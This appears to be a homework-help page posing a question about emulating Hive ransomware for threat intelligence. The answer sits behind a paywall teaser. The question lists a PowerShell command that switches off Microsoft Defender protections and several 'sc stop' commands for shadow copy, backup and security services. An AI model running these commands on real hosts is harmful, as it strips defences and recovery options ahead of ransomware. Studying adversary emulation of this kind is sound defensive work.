Question: Below is a manual attack chain that someone can execute against hosts that will simulate procedures used by Hive. Review these Powershell and sc commands:
Below is a manual attack chain that someone can execute against hosts that will simulate procedures used by Hive. Review these Powershell and sc commands:
- powershell.exe Set-MpPreference -DisableRealtimeMonitoring $true -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
- sc stop LanmanWorkstation
- sc stop SamSs
- sc stop SDRSVC
- sc stop SstpSVc
- sc stop UI0Detect
- sc stop Vmicvss
- sc stop Vmss
- sc stop VSS
- sc stop Wbengine
- sc stop Unistoresvc
After reviewing them, how would executing this attack chain against someones host provide threat intelligence? Think about how data becomes information when it has context and information becomes intelligence when its actionable. Use this to shape your answer as to how manual execution of the attack chain may yield threat intelligence.
Step by Step Solution
There are 3 Steps involved in it
Get step-by-step solutions from verified subject matter experts
